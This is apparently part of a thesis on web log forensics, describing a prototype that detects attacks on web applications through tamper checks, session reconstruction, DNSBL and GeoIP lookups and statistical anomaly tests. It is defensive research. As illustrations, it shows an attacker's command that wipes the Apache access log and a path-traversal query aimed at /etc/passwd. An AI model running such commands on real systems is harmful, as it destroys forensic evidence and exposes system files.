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Abstract

Logfiles are the primary source of information to reconstruct events when network
services are compromised. However, extracting the relevant information from huge
files can be a difficult task. In our earlier work [WMWS12], we show that several
signature-based programs like webforensik1 can be helpful in finding attacks against
web applications within HTTPD server logs. They generally do enhance the signal-
to-noise ratio, but a single run of a web application security scanner like skipfish2 still
produces tens of thousands of alarms. What is missing in present web log forensic
tools is context: A system administrator might not want to care about yet another
random scan from some botnet, but ‘a targeted attack from Seattle yesterday, 7pm’ is
a reason to take a closer look. In this work we seek to increase quality and information
content of given log data, summarize it and generate a human readable output.
We implement statistical methods and machine learning techniques based on hid-
den Markov models to detect attacks against web applications. Furthermore we use
DNSBL-data and GeoIP information, to identify potential attackers. In addition we
classify attacks into hand-crafted and automated using a multi-feature traffic pattern
analysis. Last but not least we evaluate the success or failure of attacks using active
and passive methods: We detect anomalies within the size of responses, indicating in-
formation disclosure and use active replay techniques to match responses against what
we call ‘quantification signatures’.

Keywords: Web Log Forensics, Anomaly Detection, Hidden Markov Models

1Müller, J., WebForensik – PHPIDS-based security log analyzer for Apache,
http://sourceforge.net/projects/webforensik/, Dec. 2012

2Zalewski, M., Skipfish – web application security scanner,
http://code.google.com/p/skipfish/, Dec. 2012

http://sourceforge.net/projects/webforensik/
http://code.google.com/p/skipfish/
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1. Introduction

1.1. Motivation

Forensic analyses of web logs has high scientific value for finding possible holes
in web application security. In this paper, it is also the reason for its practical
use. Much has been said about the latest rise of cyber attacks1 and the need for
programs to reliably detect them. As, however, forensics retrospectively evaluate
attacks, prevention can only be achieved by using their results to ‘fix the errors’. It
is important to note that all attacks, successful or not, point out problems within the
implementation of current web applications that need to be resolved. Therefore, our
motivation is not to ‘track down the culprits’ – on the contrary we believe that many
attacks that do not lead to damage of the server actually help in making computer
systems more secure. This does mean that the step after detection ought not to be
law enforcement, but working on better security. An allegory from the offline world
springs to mind: Arresting a random burglar or three will not help you in keeping
safe and cozy and secure in your own home if you don’t learn to fix the broken window.

Unfortunately, to the best of our knowledge, no practical, feature-rich and automated
tools for web application forensics are in existence. In [WMWS12], we propose one
possible approach, but the results of this are still far from perfect, and an extensive
manual review of suspicious requests is required. It provides no further information
about detected attacks in terms of their successfulness, origin or type. Moreover, like
all blacklist- and signature-based approaches, our earlier work suffered from the prob-
lem that it was not able to detect attacks previously unencountered. The framework
proposed here aims to close these gaps in expectation.

1.2. General Idea

In this thesis, we introduce the prototype of a full-featured web log anomaly detection
system capable of evaluating the severity of attacks. The main steps are as follows:
First, we auto-detect the log file format, extract possible attack vectors and apply up to
four approaches of anomaly detection:

1. Statistical outlier detection based on character distribution of requests

1An especially vehement condemnation has been published by Verizon Communications Inc.,
http://www.verizonbusiness.com/Products/security/dbir/, Dec. 2012
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2. Unsupervised machine-learning with hidden Markov models (HMMs)

3. Location-based outlier detection adapted from GeoIP information

4. Detection of botnet membership with the aid of DNSBL data

Second, we classify all sessions of a potentially malicious client into either automated
or hand-crafted, based on multi-feature traffic pattern analysis. Third, we try to quan-
tify attacks in terms of successfulness, using various criteria:

1. HTTP response code assumptions

2. Outlyingness of size of responses

3. Active replay and signature matching

Finally, we create a summarized tabular- or map-based report.

1.2.1. Requirements

To reproduce the results of this study, several technical requirements need to be ful-
filled. Our prototype implementation is developed and tested with PHP 5.32 in a
GNU/Linux environment on a standard PC. The web log file we use for evaluation is in
a custom format from a lighttpd/1.4.283 web server and based upon the combined4

format which can also be produced by other servers like the Apache HTTPD5. For
request normalization and detection, we use PHPIDS 0.76. For geotargeting, the Max-
mind GeoLite City 1.117 database is needed. Chart/Map generation in HTML/JSON
reports requires pChart 2.18 and SIMILE Exhibit 3.09. All files required to run our
implementation are included on the attached CD-ROM as shown in Table A.1.

1.2.2. Assumptions

It is presumed that the web server’s access_log file is complete and integer and
a correct system time is included for all entries. Furthermore, we assume that no
knowledge of the logic and functionality of the installed web applications exist. While
we explicitly allow the dataset to be polluted by attacks, it is presupposed that the vast
majority of requests originates from legitimate traffic. Finally, we assume that there is
sufficient training data available to perform the proposed, learning-based outlier tests.

2The PHP Group, PHP: Hypertext Preprocessor, http://php.net/, Dec. 2012
3Kneschke, J., lighttpd – lightweight webserver, http://lighttpd.net/, Dec. 2012
4Apache Software Foundation, combined log format documentation,
http://httpd.apache.org/docs/2.4/logs.html#combined, Dec. 2012

5Apache Software Foundation, Apache HTTP Server, http://httpd.apache.org/, Dec. 2012
6Heiderich, M., Matthies, C., Strojny, L. H., PHPIDS, http://phpids.org/, Dec. 2012
7MaxMind, Inc., GeoLite databases, http://dev.maxmind.com/geoip/geolite, Dec. 2012
8Pogolotti, J., pChart – PHP charting library, http://www.pchart.net/, Dec. 2012
9Huynh, D. F., Exhibit – publishing framework for data-rich interactive web pages,
http://simile-widgets.org/exhibit/, Dec. 2012
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1.2.3. Limitations

In comparison to live intrusion detection, we do not have access to the full HTTP
header or body in posteriori forensics. This means an attacker can evade detection by
selecting an attack vector, which is invisible to us. For instance, the payload of POST
data is not logged by most web servers. However, the detection techniques described
in this work can be adopted to such payloads, if available.

Most learning-based applications distinguish between valid training data and test
data. In our case, the input log file contains both. This is because we have chosen
an unsupervised algorithm as we think the process of manually labeling training data
is highly impractical in a network administrator’s day-to-day work. It needs to be
considered that the presence of attacks within training data might lead to inferior
results compared to other academic publications using the same algorithms with
labeled data.

Since logfiles can grow huge fast, one of our design goals is to not cache all loglines
into memory. Therefore our implementation loops over the logfile up to three times,
depending on the detection and summarization modes used. This leads to some code-
bloat and to some algorithms not being implemented as elegantly as initially expected.
Nonetheless, we believe that making a time-memory trade-off in this case is a good
decision.

1.3. Application

‘Essentially, all models are wrong, but some are useful. ’

– George Edward Pelham Box

Our proposed model is meant to be used for scenarios where the web applications are
being targeted through a computer network. Our main focus is on the exploitation of
input validation flaws by web applications (wrong handling of URL query values that
leads to file inclusion, command executions, SQL injection, etc.). We are not focusing
on attacks against the web server itself nor against other network services or protocols.
Detection results are compared to PHPIDS, which serves as a reference point for the
evaluation.

1.4. Contributions

There has been ongoing research in the field of detecting attacks on web applications
in the last years. This work is based on our earlier research [WMWS12] and has been
heavily influenced by [Hei08], [CAG09] and [AG10].
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Our contribution is a practical implementation of the various approaches combined
with our own ideas, leading to a prototype of a feature-heavy implementation for web
application forensics. We plan to release the developed program – which has been
the main focus of our work – as free software10, thus making it available to system
administrators and hobbyists all over the world.

1.5. Outline

In Chapter 1, we give a general overview of our project, introducing the motivation
behind it and the general idea. In Chapter 2, we describe what needs to happen
to the data at preprocessing stage, what needs to be available and what has to be
observed before successful detection work can commence. This includes tamper
detection, basic logfile data aggregation, client- and session identification, DNSBL
lookups and the generation of GeoIP information. Following on from this, Chapter 3
lays out the detection process which includes statistical outlier detection as well as
anomaly detection based on hidden Markov models, DNSBL ranking and geolocation
anomaly detection. The analysis starts in Chapter 4 with session classification –
human-machine detection is one of the major points here – as well as different kinds
of attack quantification. Visualization in Chapter 5 and an overall evaluation of the
program in Chapter 6 then lead up to the conclusion.

An overview of algorithms used and implemented in this work is shown in Table 1.1.

Problem Feature Algorithm

Tamper detection Inter-request time delay Grubbs’ outlier test
Chars attack detection Character dist. of request Basic statistics
HMM attack detection Structure of request Hidden Markov Models
GeoIP attack detection Geolocation of client Local Outlier Factor
Attack quantification Length of response Local Outlier Factor
Session classification Multiple features Decision tree

Table 1.1.: Overview of used algorithms

10The GNU project, What is free software?, http://gnu.org/philosophy/free-sw.html,
Dec. 2012
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2. Preprocessing

‘It is a capital mistake to theorize before one has data.’

– Sherlock Holmes, A Study in Scarlet (Arthur Conan Doyle)

In this chapter we deal with knowledge discovery and gathering data from logfiles.
Before we can start with detecting anomalies, we need to ascertain which data exists to
work with. To find evidence for rough manipulation of log data, we suggest to first run
a simple tamper check on it. Afterwards, we can distinguish between two kinds of data:
basic data, which is found directly in the web server’s logfile, and supplemental data
which can be generated out of basic data. As supplemental data, we generate DNSBL
and GeoIP information. Furthermore, we try to reconstruct sessions and assign them
to identified clients. Finally, we extract features required for various types of anomaly
detection to then normalize them.

2.1. Related Work

This section section touches upon the discipline of web log mining and knowledge
discovery as described in [PR07] and [GMN11]. Closely related to our approach is the
work of [SMEFH11] who discuss the process of preprocessing web logs for intrusion
detection analyses. More related work can be found in the main body of this chapter.

2.2. Tamper Detection

After breaking into a computer system, the attacker will likely try to scrub the log files
to cover her tracks. However, non-tampered log data is necessary for any post-attack
forensics. In Section 1.2.2, we assume log file completeness and integrity. This
can be ensured by adding MACs and timestamps to log entries and storing them on
a trusted machine as described in [BY97], [SK99] or [AGL02]. Nevertheless, the
Apache HTTPD as the most widely used web server does not make use of any logfile
protection mechanisms in the default configuration. Therefore we propose to run a
simple anomaly check against the input logfile, which may at least detect rough tamper.

While a clever attacker will only clear evidence of her very own activities (by selec-
tively removing the corresponding loglines), an overhasty intruder might simply delete
larger parts of the logs. Typically, this is done by editing the web server’s logfile with
a text editor or by completely emptying it, using a single command like the one in
Listing 2.1.
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Listing 2.1: Scrubbing log files the hard way

1 printf ’’ > /var/etc/apache2/logs/access_log

In the above example, the attacker only cleared the current logfile. If log rotation is
used backlogs are still available, as is all data collected after the attack. In such cases,
we can identify a ‘loss’ of data by searching for overly long time slots with no activity
at all.

Assuming the distribution of inter-request time delays follows an approximately nor-
mal distribution, this can be easily done with a one-sided Grubbs’ test ([Gru50]) as
follows:

G = Xmax −X
σn

WhereXmax is the maximum delay found in the logs,X is the arithmetic mean and σn
the standard deviation of recorded inter-request time delays. In our implementation,
we use a fast online-algorithm, introduced by [Wel62] to calculate σn without having
to loop over the logfile various times.

Xmax is considered as an outlier if the Grubbs’ test statistic G is greater than a critical
value, calculated as follows:

G >
N − 1√
N

√√√√ t2α/N,N−2
N − 2 + t2α/N,N−2

Where tα/N,N−2 is the upper critical value of the t-distribution ([Stu08]) with N − 2
degrees of freedom and a significance level of α/N [CT05], which was set to 0.05 in
our implementation, meaning Xmax would be an outlier by 95% change.

Outliers can be caused by normal phenomena (temporarily disabled log services, net-
work downtimes, clock changes, no company access at Christmas etc.), which is why
this naive ‘completeness test’ is error-prone. Also, it will only detect large-scale trun-
cations within the log data. Despite these problems, we can do no more than this due
to the limited possibilities of having only the logfile itself without any further data.

2.3. Basic Logfile Data

As basic logfile data, we define all records that can be directly obtained from a web
servers logfile. What kind of data is available depends on the log format used. A
typical logline in common1 format, containing the client’s IP address or hostname, the

1World Wide Web Consortium (W3C), the common logfile format, http://www.w3.org/

Daemon/User/Config/Logging.html#common-logfile-format, Dec. 2012
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request (including URL query), its time and status code and the size of the server’s
response is shown in Listing 2.2.

Listing 2.2: Example logline in common format

1 10.0.1.8 - - [12/Dec/2012:11:26:24 +0200] "GET /my-webapp.php?id=1

HTTP/1.1" 200 2769

The same request logged in combined2 format is shown in Listing 2.3.

Listing 2.3: Example logline in combined format

1 10.0.1.8 - - [12/Dec/2012:11:26:24 +0200] "GET /my-webapp.php?id=1

HTTP/1.1" 200 2769 "http://localhost/links.php" "Mozilla/5.0"

Note the additional fields for referer and user-agent. In Apache, the log format used is
defined via mod_log_config3 format strings. A list of possible Apache 2.x format
strings is specified in Table A.2. Our implementation works well with minimal log data
as provided by common format. Although to tap the full potential of some features,
the presence of user agent strings and cookie information is required. The input log
format can be defined using Apache format strings or will otherwise be automatically
guessed by a pattern matching algorithm.

2.4. Client Identification

‘The whole is greater than the sum of its parts.’

– Aristotle

In many cases, we do not deal with a single attack, but with a whole series of incidents
stemming from the same origin. With the help of client identification we can cluster
incidents, sum up their impact/severity, find coherences between requests, etc. – even
the recognition of time-shifted attacks might thereby be possible. In an a posteriori
forensics scenario, we cannot use proactive methods like setting cookies for later ex-
amination as described in [JI07]. Hence we must rely on what is found in the log
data to map visitors. In our earlier work ([WMWS12], we have defined four client
identifiers, which can be easily derived from web server log files:

Remote-Host This field contains the IP address or hostname of the network sub-
scribers initially sending the request. Using Remote-Host entries as client identi-
fiers has proven to be a good choice in most scenarios. Problems arise if several clients
access a website over the same proxy or if NAT is used. In such cases we cannot dis-
tinguish visitors depending on their IP address/hostname alone.

2Apache Software Foundation, combined log format documentation,
http://httpd.apache.org/docs/2.4/logs.html#combined, Dec. 2012

3Apache Software Foundation, mod_log_config documentation,
http://httpd.apache.org/docs/2.4/mod/mod_log_config.html, Nov. 2012
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Remote-Logname This field contains the result of identification protocol (ident)
queries as defined in [Joh93], which is the name of the user who ran the corresponding
TCP connection. Since ident is rarely used on the today’s Internet, and as the ident
response can be arbitrarily set by the remote system, using Remote-Logname entries
as client identifier is not advised.

Remote-User This field contains the user-name after successful HTTP authenti-
cation as defined in section 11 of [BLFF96]. Unfortunately, modern web applica-
tions bring their own various mechanisms of authentication instead of applying HTTP-
authentication. Using Remote-User entries as client identifier is therefore not ad-
vised, unless the web server requires HTTP authentication.

Session ID Session IDs embedded in cookies or GET/POST queries are the typical
identification attribute used by web applications. A token is assigned to every client,
and from that moment on contained within all its requests. Since the allocation of
session IDs is done by web applications, the web server itself has no knowledge of
their use and hence cannot assign them a separate field in the log file. Therefore
we try to retrieve session ID tokens from logged requests and – if present – cookie
information. Depending on the web application and on the server-side scripting
language in use, the name of the label of a session ID might differ. In our approach,
we define the following common (case-insensitive) keywords to search for: SID,
SESSID, PHPSESSID, JSESSIONID and ASP.NET_SessionId. Even though
session IDs can be set arbitrarily by the client, they are unique in the sense that it
should not be possible for an attacker to guess the session IDs of other users and
therefore hijack their sessions.

In our implementation, the method of client identification can be chosen by setting
the parameter -c. A combination of different client identifiers is possible. As default
client identifier, we choose Remote-Host entries.

2.5. Session Identification

In our implementation, attack detection (compare Chapter 3) and quantification
(compare Section 4.3) are performed on a per-client basis. This seems appropriate
as actions can then be linked to a certain client and results structured more clearly.
For robot detection (compare Section 4.2) however, it is of interest to detect if one
and the same client carries out different types of activities, such as automated and
non-automated attacks. A typical example for this would be to run a web application
vulnerability scanner against one or several websites and return later for manual
probing. Therefore we need to identify and reconstruct sessions within a set of
client-side actions. These sessions will be then classified into human and machine.
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Session IDs are not necessarily the best indicators for this as they are rarely found
in web logs and can easily be spoofed by an attacker (in the sense of using multiple
random IDs). Therefore we use heuristics to identify sessions. There are different
approaches in literature as to which criteria to apply for the reconstruction of sessions
within web logs.

[CMS+99] propose to reconstruct the site topology and create a ‘browsing path’ for
each client. If the current web page is not accessible from the previous one, a new
session is assigned. A similar approach is navigation-based heuristics using HTTP
referers as introduced in [CMS+99] and improved in [BMSW01] and [NNG04] by
adding a ‘session-mergence phase, which is adaptive to conditions of different logs’.
We think that topology- and navigation-based methods do not make sense in our case
since we do not deal with ‘normal’ website visitors. Instead we want to sessionize the
requests of automated programs or human attackers, which might access resources in
an atypical order or even completely outside of the website’s usual structure and do
might not broadcast or spoof a referer string.

[CP95] propose a session timeout of 25.5 minutes based on an empirical study, which
is commonly used and rounded to half an hour. [BMNS02] and [ZG04] use a dynamic
value based on the website’s structure for time-oriented heuristics. [MKŠ10] suggest
to handle changes in the user agent string as a new session characteristic.

None of the described approaches fully suit our scenario. In our implementation, we
use a time- and agent string oriented approach for session identification. We set the
session timeout to 60 minutes if the user agent string stays the same. Let us clarify
why since based on [CP95], common practice has led to 30 minutes being used: We
promote a slightly more conservative and therefore higher value in order to detect
even slow scanners with the risk of identifying two sessions as one to no ill effect.
This is an individual choice – the user of our implementation can change it at will by
setting the source code variable $max_session_duration.

If there is change of the user agent string we use a fixed value of 60 seconds plus the
mean and three standard deviations of the session’s previous inter-request time delay.
This is due to the three-sigma rule [Puk94], which says that for a normal distribution
99.73% of the values lie within 3 standard deviations of the mean, therefore making it
easier to detect outliers. The use of an additional fixed value is important, because we
have observed automated tools scanning for vulnerabilities (under the name of various
user agents) at high speed, leading to a low mean and standard deviation, but then
stopping for a dozen of seconds in between – which should not be considered as a new
session. The abstract procedure for session identification is shown in Algorithm 1.
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Algorithm 1 Identification of sessions
for all clients i do

for all requests j do
if delayj,j−1 > 60min or (new agent and delayj,j−1 > 60sec +µi+3σi) then

new session⇐ true
end if

end for
end for

2.6. DNSBL Lookups

Apart from collecting basic data from the log file, we can also ‘create’ new informa-
tion out of it. One way to enrich given web log data is to add DNSBL lookup query
results. An attacker might try to hide his identity behind open proxies, botnets or
other kinds of middleman nodes. Noticing this kind of obfuscation is important – for
instance if legal action is taken into consideration. It should, however, be avoided to
mistakenly blame the operator of an anonymizing service.

The concept of providing Real-time Blackhole List (RBL) was invented by militant
anti-spam activist Paul Vixie back in 1997 and later combined with the Domain Name
System by Eric Ziegast. DNS-based blackhole lists (DNSBL) as documented in
[Lev10] offer a way to detect whether an IP address has already been ‘conspicuous’
in the past, e.g. as a source of spam. The concept is simple: A DNS request for the
questionable IP address is made to a DNSBL provider – if it resolves (A-record), the
address is blacklisted there. Unfortunately, this method has its flaws: neither is any
DNSBL service in existence which hosts a complete list of ‘offending’ IP addresses,
nor does a listed address definitely fall within the scope of this offense.

The effectiveness of DNSBLs in terms of accuracy is discussed in [JS04] and
[RFD06]. They conclude that there is a wide variation in coverage and false positive
rate of each blacklist.

Although DNSBL was originally introduced to identify e-mail spammers, there are
blackhole lists for various purposes nowadays. For example, one can ask the list
tor.dnsbl.sectoor.de whether a client is routed through a node of the Tor
anonymizing network4. Similar lists exist for open proxies (HTTP, SOCKS, etc.) or
remote-controlled, trojan horse infected computers (so-called ‘zombies’ often acting
as part of a botnet). For forensics, it may also be interesting to see if an attack comes
from a dial-up line, as commonly used by private individuals. Table 2.1 gives an
overview of used DNSBL types and servers.

4Dingledine, R., Mathewson, N., The Onion Router, http://www.torproject.org/, Dec. 2012
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Type Servers

Tor tor.dnsbl.sectoor.de

Proxy dnsbl.proxybl.org, http.dnsbl.sorbs.net,

socks.dnsbl.sorbs.net

Zombie xbl.spamhaus.org, zombie.dnsbl.sorbs.net

Spam b.barracudacentral.org, spam.dnsbl.sorbs.net,

sbl.spamhaus.org

Dial-up dyn.nszones.com

Table 2.1.: DNS blackhole list types and servers

In our implementation, the type of DNSBL can be chosen by setting the parameter -b.
To speed up requests, we make use of a local cache for both DNS and DNSBL lookups.

A trivial DNSBL-based method for outlier detection is described in Section 3.4.

2.7. GeoIP Information

Another feature to enrich given web log data is to add GeoIP information. This makes
sense for two reasons: first, the geographical origin of requests alone is interesting for
forensic analysis. Second, by comparing the miscellaneous clients’ geolocations we
can find potential outliers, as described in Section 3.5.

Using reverse DNS lookups, we are able to convert an IP address into a hostname.
This is helpful sometimes, but usually gives only a vague insight on the whereabouts
of the client machine. With geotargeting techniques however, it is possible to track a
client on a physical (geographical) level instead of a logical (network) level.

[DVGD96] propose to add an experimental DNS RR type which allows DNS servers
to carry location information about hosts, networks and subnets but it relies on the
participation of DNS server operators and has not been adopted so far. Therefore, two
major approaches have evolved for IP-based geotargeting: active and passive methods.

Active methods include network delay measurements and comparison to reference
hosts [PS01], constraint-based geolocation (CBG) [GZCF04], topology-based geolo-
cation (TBG) [KBJK+06] and the use of external information like demographics data
[WSS07] or geographical locations derived through web mining [WBF+11].

Passive methods make use of a database of net blocks and their corresponding geolo-
cation. They disclose the relationship between the geolocation (country, region/state,
city) of a subnet owner (e.g. university, ISP) and its allocated IP address space.
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While active methods are considered more accurate, obtaining GeoIP data from a
‘demographics provider’ is generally faster and more practicable for our intent to
geolocate up to thousands of addresses. Therefore we have not implemented our own
geotargeting technique but query an existing database. Several commercial GeoIP
databases with different levels of completeness and accuracy exist as examined in
[SZ11] and [PUK+11]. To integrate geotargeting into our program, we make use of
the publicly available database ‘GeoLite City’ by Maxmind5.

Thus we are able to generate a new data record ‘geolocation’ based on the IP address
of a client. A GeoIP-based method for outlier detection is described in Section 3.5.

In our implementation, the parameter -g enables geotargeting.

2.8. Feature Selection

The attack detection techniques described in Chapter 3 require different sets of
features. For detection techniques based on the request, we use the values of the
URL-query by the default. If a request contains no query string, it passes as harmless.

For statistical detection methods, additional attack vectors can be optionally used.
This is the cookie values (if present and logged), the user agent strings and – as shown
blow – the URL path and the names of URL query attributes.

/dir/to/webapp.php︸ ︷︷ ︸
URL path

?PHPSESSID︸ ︷︷ ︸
query name

= 3fc6e7e6791eed2a47019c81a2︸ ︷︷ ︸
query value

Note that while real-world attacks exist that can be carried out through a specially-
crafted user agent string, this is mostly a theoretical possibility as these kinds of
attacks are rarely actually encountered.

For DNSBL- and GeoIP-based detection techniques, the IP address and its correspond-
ing geolocation are used as criteria. An overview of the selected features for various
attack detection modes can be found in Table 2.2

2.9. Feature Standardization

The Web 2.0 contains plenty of methods to obfuscate attacks against against web ap-
plications. This is due to the fact that malicious code can be converted in various ways.
Consider the URL query /include.php?file=../../etc/passwd and its
URL-encoded (compare [BLFM98]) version %2F%69%6E%63%6C%75%64%65%2E
... %73%73%77%64, both containing the same payload.

5MaxMind, Inc., GeoLite databases, http://dev.maxmind.com/geoip/geolite, Dec. 2012
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Feature Chars HMM DNSBL GeoIP

URL query values 4 4 - -
URL query names (optional) - - -
URL path (optional) - - -
Cookies (optional) - - -
User agent string (optional) - - -
IP address - - 4 -
Geolocation - - - 4

Table 2.2.: Feature subset of various detection modes

While this is especially a problem for signature-based approaches, it might influence
other attack detection techniques too and lead to their evasion. A deeper insight into
miscellaneous obfuscation practices of web-based attacks is given in [HNHL10].

In our implementation, all requests are normalized as follows: First, we url-decode
the query string. Second, we provide the option to apply the the PHPIDS6 conversion
algorithms, which according to its developers covers ‘several charsets like UTF-7,
entities of all forms – such as JavaScript Unicode, decimal- and hex-entities as well as
comment obfuscation, obfuscation through concatenation, shell code and many other
variants.’ Note that PHPIDS request conversion is an optional step and not enabled by
default for performance reasons. It can be enabled by setting the source code variable
$use_phpids_converter.

6Heiderich, M., Matthies, C., Strojny, L. H., PHPIDS, http://phpids.org/, Dec. 2012
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3. Detection

In this chapter we discuss statistical and unsupervised machine-learning algorithms to
detect ‘anomalies’ within given web log data, which are classified as possible attacks.
Furthermore we describe DNSBL- and GeoIP-based outlier detection techniques to
identify potential attackers.

3.1. Related Work

The topic of web application forensics overlaps with various fields of research like
anomaly detection, machine learning, digital forensics, log mining and intrusion
detection.

An overview to outlier/anomaly detection methodologies in general and their use is
given by [HA04] and [CBK07]. [HA04] define three fundamental types to the problem
of machine learning based outlier detection: unsupervised clustering, supervised clas-
sification and semi-supervised recognition or detection. The combination of machine
learning and computer security/-forensics has lately been discussed in [Rie11a] and
[AGR11]. They come to the conclusion that the linking of both disciplines may lead to
a promising direction [AGR11] and there is a ‘good hope to make them “best friends”’
[Rie11a] in the near future – a statement opposed to the prognosis of [BNS+06].

Digital forensics have evolved from a niche existence to a major field of research
for the scientific community and is heavily used by law enforcement nowadays. An
introduction to the topic and formal definition is given in [Pal01] and [LK04]. The
branches of computer- and intrusion forensics are broadly described in [Moh03] and
[Kan06]. Solutions for network forensics have been recently prosed by [MS03] who
use artificial intelligent techniques and [WD08] who apply an evidence graph model.
[Seg02] suggest a step-by-step methodology for web application forensics after a
successful break-in. [MZI08] propose the ‘use of machine learning algorithms and
anomaly detection to cope with a wide class of definitive anti-forensics techniques’.

The field of log mining is closely related to logfile forensics. Noteworthy is the
work of [Ma03] who experiment with Bayesian Clustering, to detect anomalies in
various kinds of log data. [Ste04], [SO08] and [OAS08] use unsupervised clustering
algorithms to find anomalies in supercomputers’ syslogs and created a reference
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implementation, called Sisyphus1. A supervised, behavior-based implementation to
find anomalies in syslog files by creating signatures for known/harmless entries is
provided by devialog2.

The field of intrusion detection and prevention systems is close to web application
forensics since the same detection techniques might be used on either computer
systems, network traffic or web log files. A first working system for a real-time IDS
is described in [Den87]. Since then, various approaches for intrusion detection have
been proposed, implemented and used in the wild. A distinction is made between two
major types of IDS: signature-based and anomaly-based. Systems based on signatures
of well-known attacks tend to achieve low false positive rates [GTDVMFV09].
A popular implementation of such a system is the free and open source IDS/IPS
Snort3. Anomaly-based systems in contrary have the advantage of being able to
detect yet unknown attacks and have therefore become a field of intense scientific
research in the last decade. [LKS05] define three categories of anomaly-based
intrusion detection: statistical-based, knowledge-based, and machine learning-based.
According to [GTDVMFV09] machine learning-based approaches can be further
classified in bayesian networks [Hec95], markov models [MC02], neural networks
[CLS+07] [Rie11b], fuzzy logic [BV+00], genetic algorithms [TK07], clustering
& outlier detection [SZ02]. The use of machine learning techniques in intrusion
detection has been broadly discussed in [Lia05]. A survey of methodologies for
network IDS is given by [Axe00], [LEK+03], [SM08], [GTDVMFV09] and [PQW10].

There has been a lot of research in the field of detection and prevention of web-based
attacks in the past years. Approaches based on signatures have been presented by
[ADD00] who match for vulnerable CGI script request and [MC08], [Hei08], [Fry11]
and [WMWS12] who use more complex regular expressions to cover a broader range
of attacks. [KV03] propose a multi-model approach and calculate an anomaly score
based on length, character distribution, structure, token of URL query values and
presence and order of URL query parameters. This approach is complemented in
[KVR05] with access frequency, inter-request time-delay and invocation order of
web applications. [CC04] reconstruct web sessions and build request sequences.
Subsequently they detect anomalies based on the likelihood of request sequences
using Bayesian parameter estimation. [CBFV07] propose to detect attacks by looking
for state violations within the web application and implement a PHP module for
this. Full information about the logic of web applications in use is needed. [ISBF07]
suggest to learn the DFA representation of requests and use DFA induction to detect
malicious requests. [GER09] propose the use of neural networks to classify requests
as valid and malicious. [SMF+09] describe an approach to reduces false positive

1Stearley, J., Sisyphus – a log data-mining toolkit, http://www.cs.sandia.gov/~jrstear/
sisyphus/, Dec. 2012

2Yestrumskas, J., devialog – syslog anomaly detection, http://devialog.org/, Dec. 2012
3Roesch, M., Snort – a free lightweight network IDS, http://www.snort.org/, Dec. 2012
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rates by counting only attacks against two (‘partner’) websites. [SKS09] use super-
vised machine learning techniques based on statistical anomaly detections sensors.
[TGPVÁM+10] propose to learn normal behavior from attack-free training data,
create min/max values for each parameter and mark new requests as attack if those
limits are overstepped. [MdAN+11] use wavelet transformations to detect unknown
attacks. [Ste12] deals with the problem of not having access to the full network
payload in log file forensics and propose to identify automated attacks with the help of
self-organizing maps (SOM). An approach specialized for the SQL injection attacks
is suggested by [VMV05].

The use of hidden Markov models (HMMs) for web-based anomaly detection has
first been introduced by [CAG09]. ensembles of HMMs are used to learn the URL
query values for a certain web application as well as its sequence of URL query
parameters from a set of training data. Subsequently the likelihood of test data values
is calculated to find anomalies. This concept has been extended by [AG10] to the
whole HTTP payload and further advanced by [AG11] who combine ensembles using
several one-class classification algorithms, [HTS11] who apply a two-dimensional
training phase and [GJ12], who improve results by using a ‘fuzzy inference instead of
a fixed threshold to produce a flexible decision boundary’. The use of HMMs can be
considered as state of the art for detecting attacks against web applications.

Detailed comparisons of existing techniques for anomaly detection of web-based at-
tacks are given in [II07], [Nas10] and [Ari10].

3.2. Statistical Outlier Detection

In this section, we describe a statistical approach to find outliers in datasets based on
the character distribution of requests. To avoid confusion, we hereby define the term
‘web application’ as a distinct URL path that receives an attached URL query.

3.2.1. Attribute Length

As mentioned, [KV03] propose to detect statistical outliers based on the length of URL
query values. The idea is simple: while the size of valid input of a web application
usually does not vary much, malicious input like the one from a cross-site scripting at-
tempt produces a significantly larger URL query value. Their algorithms are described
as follows: In the learning phase, the arithmetic mean µ and the variance σ2 are cal-
culated for all URL query values of a given web application. In the testing phase,
the probability p of the length l of a given value is calculated by using Chebyshev’s
inequality as shown below:

p = σ2

(l − µ)2
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3.2.2. Character Distribution

While characters of the English alphabet or digits are commonly used within URL
query strings, others characters can be evidence of an attack. [KV03] use the chi-
square of the attributes idealized character distribution to detect statistical outliers in
the character distribution. A similar approach of [WS04] is based on the Mahalanobis
distance (compare [Mah36]).

[BLFM98] defines permitted characters within an URI/URL query string. These are –
besides alphanumeric characters – reserved characters r and unreserved characters u
as defined as shown in Listing 3.1

Listing 3.1: Allowed characters in an URI as defined in RFC2396

1 r = alphanum | "-" | "_" | "." | "!" | "~" | "*" | "’" | "(" | ")"

2 u = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","

3.2.3. A Hybrid Approach

As we require a fast way of detecting at least noisy attacks, we combine the existing
approaches to a simple, lightweight algorithm based on the cardinality of special
characters within a request as described below.

For all web applications j, we calculate the mean µj of the occurrence of non-
alphanumeric characters. We do this by removing all digits and Unicode letters. This
is especially important when dealing with ‘umlauts’ or other non-ASCII letters that
would otherwise be recognized as harmful. The probability of a valid request is then
defined as the length of the substituted request divided by the mean of substituted
requests as shown in Algorithm 2. This approach is not new, but refers back to basic
statistical procedures.

Opposed to [KV03], we do not calculate the mean for the all URL query values, but
on a per web application base to speed up the process. In addition, we calculate the
overall mean µj0..jn for all observed URL query strings. Therefore we are able to
detect attacks that do not target known web applications but other resources instead,
e.g. a buffer overflow [One96] against the web server. Moreover it is possible to
choose additional attack vectors like the value of cookies in our implementation, as
described in Section 2.8, to perform a character-based outlier test on those features.
The probability p of a valid request is then defined as the length of the substituted
request divided by the mean of substituted requests as shown in Algorithm 2.
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Algorithm 2 Character-based anomaly detection

for all requests i do
if |samples per web application j| ≥ threshold then

if |special charsi| > µj then
return p = µj

|special charsi|
end if

else
if |special charsi| > µj0..jn then

return p = µj0..jn

|special charsi|
end if

end if
end for

To get a positive integer as result which can be compared to a reference PHPIDS result
in Chapter 6, we use 1

p instead of p and apply the natural logarithm in the evaluation.

As mentioned above, special characters can be an indicator for an attack. However,
they can also be legitimate elements of the URL string. In such a case an attack will
only be detected if the number of special characters used for the attack is larger than
the average number of special characters. Else legitimate traffic will be detected as
malicious. Also keep in mind that preprocessing requests with the PHPIDS converter
as described in Section 2.9 might have an impact on the results.

For the aggregation of training data, every client is only allowed to contribute one input
per web application to avoid training data poisoning. The value is only added to the
training dataset if a 2xx/3xx HTTP response code is observed, indicating a normal
operation.

3.3. HMM-based Anomaly Detection

In the last decades, the use of hidden Markov models (HMMs) for all kinds of appli-
cations has been on the rise. From weather forecast over stock market prediction to
genome analysis HMMs have proven to be a powerful tool. An introduction to HMMs
